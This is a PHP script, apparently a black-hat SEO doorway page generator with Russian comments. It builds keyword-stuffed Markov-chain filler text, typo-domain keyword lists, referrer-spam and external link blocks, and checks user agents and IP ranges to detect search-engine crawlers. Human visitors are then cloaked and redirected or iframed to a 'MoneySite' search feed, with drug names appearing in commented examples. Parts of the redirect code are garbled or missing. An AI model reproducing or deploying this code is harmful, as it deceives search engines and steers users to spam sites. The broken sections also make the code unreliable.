error_reporting(0);
//error_reporting (E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
$feeds=array(
"http://search.outlok.net/search.php?q=",
"http://fid.outlok.net/search.php?q=",
"http://fid.outlok.net/of/index.php?q=",
);
$feed=array_rand($feeds, 3);
$adres_feed=$feeds[$feed[0]];
//Stranica
$number=$_GET["q"];
$word = file("abc.txt");
$numcount=sizeof($word);
//if(($number > $numcount)||(!$number))
if(!$number) $number=0;//Esli nomera net
if(preg_match('/[a-z]/i', $number))
{
header("HTTP/1.0 404 Not Found");
die;
//$number=0;
}
if ($number > $numcount)
{
header("HTTP/1.0 404 Not Found");
//echo ("Page not found
");
//echo "Back to Home Page";
die;
}
//Для ген. текса
$KEY_TXT=$word[$number];
$KEY_TXT =trim($KEY_TXT);
$TITLE=$word[$number];
$TITLE =trim($TITLE);
$TITLE=ucfirst($TITLE);
//$RED_KEY="viagra";
$RED_KEY=$TITLE;
$INDEX=trim($word[0])."| ".trim($word[5])."| ".trim($word[15])."| ".trim($word[30]);
$HOME=trim($word[0])."| ".trim($word[3])."| ".trim($word[6])."| ".trim($word[18]);
$SITEMAP=trim($word[0])."| ".trim($word[2])."| ".trim($word[5])."| ".trim($word[10]);
//$OP_keys="the tramadol";//Из чего генерим описки
$OP_keys=$RED_KEY;//Из чего генерим описки
$OP_keys=strtolower($OP_keys);
//$OP_keys=str_replace ("the", "", $OP_keys);
$OP_Count=10;//Сколько описок генерить
/*
///Text-Keywords
$keyword_rand=array_rand($word, 123); //Берём рандомно кол-во кейвордов.
$count_rnd_key=sizeof($keyword_rand);
for($i=0; $i < $count_rnd_key; $i++){
$TEXT_TEXT.="the ".trim($word[$keyword_rand[$i]])." ";
}
*/
////MENU
$adres2=$_SERVER['HTTP_HOST'] . $_SERVER['SCRIPT_NAME'];
$adres2=str_replace("index.php", "", $adres2);
$menu="
$INDEX
$HOME
Feed RSS
ndx";
$ZAGOLOVOKS=$TITLE;
$ZAGOLOVOK="".$ZAGOLOVOKS."";
///////Keyword-OPISKA/////////////
/*
$keyword_op=file("abco.txt");
$keynum_op=mt_rand(10,12);
$keyword_op_rand=array_rand($keyword_op, $keynum_op);//Берём рандомно кол-во кейвордов.
$count_op_rnd_key=sizeof($keyword_op_rand);
for($i=0; $i < $count_op_rnd_key; $i++){
$TEXT_OP.=$keyword_op[$keyword_op_rand[$i]].", ";
}
$TEXT_OP=trim($TEXT_OP);
*/
//////////////////////////////// FUNCTION GENOPISKA /////////////////////
//$OP_keys=str_replace("the ", "", $OP_keys);
$GENOP=GetOpiskaKeyword($OP_Count,$OP_keys,$RED_KEY);
//////////////////////////////// FUNCTION GENOPISKA /////////////////////
////////////////Internal LINK///////////
$Internal_Links=25;
for($i=0; $i < $Internal_Links; $i++) {
$link=array_rand($word);
$adres = "http://".$_SERVER['HTTP_HOST'] . $_SERVER['SCRIPT_NAME'] . "?q="; //Absolutnie puti ssilok
//$site_link .= "
". $word[$link]."\n";
$site_link .= "". trim($word[$link])." * \n";
}
$word2=$word;
////////////////EXTERNAL LINK///////////
$link_external=file("elink.txt");
$link_ext_num=mt_rand(5,7);
$link_ext_rand=array_rand($link_external,$link_ext_num);
$count_ext_link=sizeof($link_external);
for($i=0; $i < $link_ext_num; $i++){
//$EXT_LINK.=$link_external[$link_ext_rand[$i]];
$EXT_LINK.=''.trim($link_external[$link_ext_rand[$i]])." * \n";
}
////////////////REF-SPAM/////////////
$refer=file("ref.txt");
//$refer_num=mt_rand(0,0);
$refer_num=mt_rand(2,3);
$refer_rand=array_rand($refer,$refer_num);
$count_refer=sizeof($refer_rand);
for($i=0; $i < $count_refer; $i++){
$REFER.='
\n";
//$REFER.=trim($REFER);
}
////////////////////////////////////////////////////////////////////////////////////////////
$article_text=("txt.txt");
$dictionary = array();
function load()
{ global $dictionary,$article_text,$parts,$prev_word;
//Читаем исходный файл (prv.pl rabotaet)
$f = fopen($article_text, "r");
//$str = fread($f, filesize($article_text));
$str = fread($f, 40000);
fclose($f);
//Читаем исходный файл(OLD ne vezde rabotaet)
//$str = file_get_contents($article_text);
//Превращаем текст в одну строку
$str = preg_replace("#[\r\n]#"," ",$str);
//Выделяем все слова из строки (выражение в кавычках или в скобках считается одним словом)
preg_match_all("#((\"[^\"]+\")|(\\([^\\)]+\\))|([^\\(\\)\"'\\s]+))(\\s+|\\z)#",$str,$parts);
$words = $parts[1];
$count = count($words);
//Заполняем словарь
for( $i = 0; $i < $count; $i++ )
{if( $i > 0 )
{ if( !in_array($words[$i],$dictionary[$prev_word]) )
$dictionary[$prev_word][] = $words[$i];
}
$prev_word = $words[$i];
if( empty($dictionary[$prev_word]) )
$dictionary[$prev_word] = array();
}
}
function genText($count,$key)
//function genText($count,$key,$adres,$link,$word2)
{
global $dictionary;
$words = array_keys($dictionary);
//$words = array_keys($article_text);
//$words = file("txt.ttt");
//print_r($words)." ";
$word = $words[0];
$text ='';
for( $i = 0; $i < $count; $i++ )
{
////1.Выводим в тексте только кейворд
//$tags_rand=array(' '.$key.'',' '.$key.'',' '.$key.'',' '.$key.'',' '.$key.'',' '.$key.'',' '.$key.'',' '.$key.'',' '.$key.'');
///2.Выводим в тексте только кейворд
//$tags_rand=array(' '.$key.'',' '.$key.'');
$tags_rand=array(' '.$key,' '.$key.'',' '.$key,' '.$key.'',' '.$key,' '.$key,);
////3. Выводим в тексте кейворд и ссылки на страницы сайта.
//$tags_rand=array(' '.$key.", ". trim($word2[$link])."",' '.$key.", ". trim($word2[$link])."",' '.$key.", ". trim($word2[$link])."",' '.$key.", ". trim($word2[$link])."",' '.$key.", ". trim($word2[$link])."",' '.$key.", ". trim($word2[$link])."",' '.$key.", ". trim($word2[$link])."",' '.$key.", ". trim($word2[$link])."",' '.$key.", ". trim($word2[$link])."");
//$tag_rand=$tags_rand[mt_rand(0,8)];
$tag_rand=$tags_rand[mt_rand(0,4)];
//$tag_rand=$tags_rand[mt_rand(0,8)];
$keyprocent=mt_rand(10,90);//chem menshe, tem % bolshe
//if ($i%10==0)
if ($i%$keyprocent==0)
{
$text.=$tag_rand;
}
else
{
$text.=' '.$word;
}
//Vivod kartinok iz file img.txt
$imgprocents=array('180','262');
$imgprocent=$imgprocents[mt_rand(0,1)];
if ($i%$imgprocent==0)
{
$inum=0;
$images=file("img.txt");
shuffle($images);
$image=$images[$inum];
$image =trim($image);
$text.= '
';
}
$word = $dictionary[$word][mt_rand(0 ,count($dictionary[$word])-1)];
}
return $text.".";
}
load();
$randtxt=1324;//Kol-vo texta
//$randtxt=rand(1350,1450);
$TEXT_TEXT=genText($randtxt,$KEY_TXT,$adres,$link,$word2);
//$TEXT_TEXT=genText($randtxt,$TITLE,$adres,$link,$word2);
//echo ($content);
/////////////////////////////////TEXT IZ TXT.TXT///////////////////////////////////////////////////////////
/*
///////////////KARTINKI iz Google (kogda bez teksta)
$IMGmap_name = file("img.txt");
$IMGcount=count($IMGmap_name);
//$keysIMGmap = 1;
$IMGrnd=mt_rand(1,$IMGcount);
$IMGrnd1=mt_rand(1,$IMGcount);
$IMGrnd2=mt_rand(1,$IMGcount);
$IMGrnd3=mt_rand(1,$IMGcount);
$IMGrnd4=mt_rand(1,$IMGcount);
$IMAGE=('
\n");
$IMAGE1=('
\n");
$IMAGE2=('
\n");
$IMAGE3=('
\n");
$IMAGE4=('
\n");
*/
$query=$RED_KEY;
//$query=$TITLE;
$query=str_replace (" ", "+", $query);
$MoneySite = $adres_feed.$query;
//$MoneySite = "";
$SeIP=empty($_SERVER['REMOTE_ADDR']) ? '' : rawurlencode($_SERVER['REMOTE_ADDR']);//nik
$uagent=empty($_SERVER['HTTP_USER_AGENT']) ? '' : rawurlencode($_SERVER['HTTP_USER_AGENT']);//nik
function DetectSE($USER_AGENT)
{
$engines = array(
'Googlebot','msnbot','livebot','yandex','google','rambler','aport','altavista',
'yahoo', 'scan', 'robot', 'wisenutbot', 'looksmart');
$engines=str_replace(" ", "%20", $engines);
$engines=str_replace("/", "%2F", $engines);
$engines=str_replace(";", "%3B", $engines);
$engines=str_replace("(", "%28", $engines);
$engines=str_replace(")", "%29", $engines);
$engines=str_replace("!", "%21", $engines);
$engines=str_replace("?", "%3F", $engines);
foreach ($engines as $engine)
{
if (stristr($USER_AGENT, $engine)) return(false);
}
return (true);
}
function DetectSeIP ($USER_IP)
{
$enginesIP = array(
'65.55.',
'80.56.126.162',
'208.111.154.',
);
foreach ($enginesIP as $engineIP)
{
if (stristr($USER_IP, $engineIP)) return(false);
//if (stristr($USER_AGENT, $engine)) return(true);
}
return (true);
}
/////////REDIRECT///////////
//***********************************************
// 1.iFrame.
//$RScriptCode -
$RScriptCode
/*
$iFrameScriptCode = $RScriptCode = $CopyrightRef = '';
if(!empty($MoneySite))
if(DetectSE($uagent))
if(DetectSeIP($SeIP))
{
$CopyrightRef .=<<$TITLE
EOT;
$iFrameScriptCode .=<<
EOT;
$RScriptCode .=<<$TITLE
EOT;
$iFrameScriptCode .=<<
EOT;
$RScriptCode .=<<$TITLE
EOT;
$JavaScriptCode .=<<
EOT;
$RScriptCode.=<<$TITLE
EOT;
$JavaScriptCode .=<<
EOT;
$RScriptCode.=<<$TITLE
EOT;
$Stats.=<<
EOT;
$StatsCode.=<<
$TITLE -> $TITLE.com
$ZAGOLOVOK
$TEXT_TEXT
Main Menu :$menu
$GENOP
SEARCH RELATED :
$site_link
$EXT_LINK
$REFER
$RScriptCode
EOF;
//if(!empty($MoneySite))
//if(DetectSE($uagent))//Если робот в UserAgent
//if(DetectSeIP($SeIP))//Если совпадает IP
//{
//header("Location: ".$adres_feed.$query);
//}
echo $goodout;
/////////////////FUNCTION OPISKA ////////////////////////////////////////////////
//$OP_keys=$RED_KEY;
//$OP_Count=50;
GetOpiskaKeyword($OP_Count,$OP_keys,$RED_KEY);
function GetOpiskaKeyword($OP_Count)
//function GetOpiskaKeyword($OP_Count,$OP_keys)
{
global $OP_keys;
include_once("tp.php");
$keyopiska=$OP_keys;
$keyopiska=strtolower($keyopiska);
$typos1 = new typos();
$typos=($typos1->get($keyopiska));
$vvv=array_unique($typos);
//sort($vvv);
shuffle($vvv);
for($m=0; $m < $OP_Count; $m++)
{
//$opiskakeyword.=$RED_KEY.">>>".$vvv[$m];
$opiskakeyword.=$vvv[$m];
$opiskakeyword2.=$vvv[$m];
/////////Дополнителная облицовка
$domens=array('.com
', '.net
', '.org
', '.info
', '.biz
');
//$domens=array('.biz
','.com
', '
', '.net
', '.info
', '.org
', '.com
', '.ua
', '
', '.usa
', '.com
');
//$domens=array('','.com', '', '.net', '', '.org', '', '.ua', '', '.usa', '');
$domen=$domens[mt_rand(0,4)];
$opiskakeyword.=$domen;//Opiska s domenom
$opiskakeyword2 =$opiskakeyword2."
";//Tolko opiska
//$opiskakeyword =$opiskakeyword.$domen;
//$opiskakeyword =($opiskakeyword.$domen)." ".$opiskakeyword2." ";
$fonts=array("ucwords", "strtolower", "ucfirst");
$font=$fonts[mt_rand(0,2)];
$opiskakeyword=$font($opiskakeyword);
//$razdelitels=array(" ", " | ", " * ", ", ", "! ", " | ", " ", "
");
//$razdelitels=array(" ", ". ", " ", ", ");
//$razdelitel=$razdelitels[mt_rand(0,3)];
//$opiskakeyword=trim($opiskakeyword).$razdelitel;
//$opiskakeyword.=" - ".$keyopiska.$razdelitel;
//$opiskakeyword=trim($opiskakeyword)."
";
//$keyopiska=ucfirst($keyopiska);
//$opiskakeyword=trim($opiskakeyword);
//$opiskakeyword.=" - ".$keyopiska."
";
//$opiskakeyword=$opiskakeyword." - ".$keyopiska."
";
}
//echo $opiskakeyword;
//return $opiskakeyword;
//return $opiskakeyword.".";
//return $opiskakeyword;
return $opiskakeyword2.$opiskakeyword;
//echo $opiskakeyword;
}
/////////////////FUNCTION OPISKA ////////////////////////////////////////////////
/*
//Это вставляем в конец страницы:
$cache = ob_get_contents();
ob_end_clean ();
echo $cache;
$fp = @fopen ("archiv/$crc", "w");
@fwrite ($fp, $cache);
@fclose ($fp);
*/
?>